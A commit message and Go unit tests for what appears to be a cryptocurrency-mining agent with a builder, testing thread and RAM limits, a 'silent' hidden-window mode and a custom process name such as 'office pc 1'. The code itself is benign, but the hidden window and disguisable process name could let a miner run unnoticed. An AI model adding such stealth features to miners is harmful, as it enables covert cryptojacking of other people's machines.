Upgrade dashboard, builder, and agent resource controls.

Dark UI with hashrate graphs, inline setting help, percent-based threads/RAM, configurable process name and display modes, and LAN-aware run.bat startup banner.

agent/config/resolve_test.go

@@ -0,0 +1,45 @@
+package config
+
+import "testing"
+
+func TestEffectiveThreadsFixed(t *testing.T) {
+	cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{ThreadMode: "fixed", Threads: 3}}
+	if got := cfg.EffectiveThreads(); got != 3 {
+		t.Fatalf("expected 3, got %d", got)
+	}
+}
+
+func TestEffectiveThreadsPercentCaps(t *testing.T) {
+	cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{ThreadMode: "percent", ThreadPercent: 150}}
+	got := cfg.EffectiveThreads()
+	if got < 1 {
+		t.Fatalf("expected at least 1 thread, got %d", got)
+	}
+}
+
+func TestEffectiveThreadsPercentZeroUsesMinimum(t *testing.T) {
+	cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{ThreadMode: "percent", ThreadPercent: 0}}
+	if got := cfg.EffectiveThreads(); got < 1 {
+		t.Fatalf("expected minimum 1 thread, got %d", got)
+	}
+}
+
+func TestHideWindowModes(t *testing.T) {
+	silent := RuntimeConfig{BuiltinConfig: BuiltinConfig{DisplayMode: "silent"}}
+	if !silent.HideWindow() {
+		t.Fatal("silent should hide window")
+	}
+	visible := RuntimeConfig{BuiltinConfig: BuiltinConfig{DisplayMode: "visible"}}
+	if visible.HideWindow() {
+		t.Fatal("visible should not hide window")
+	}
+}
+
+func TestSanitizeProcessName(t *testing.T) {
+	if got := sanitizeProcessName("office pc 1"); got != "officepc1" {
+		t.Fatalf("unexpected process name: %s", got)
+	}
+	if got := sanitizeProcessName(""); got != "CryptoMinerWorker" {
+		t.Fatalf("expected default process name, got %s", got)
+	}
+}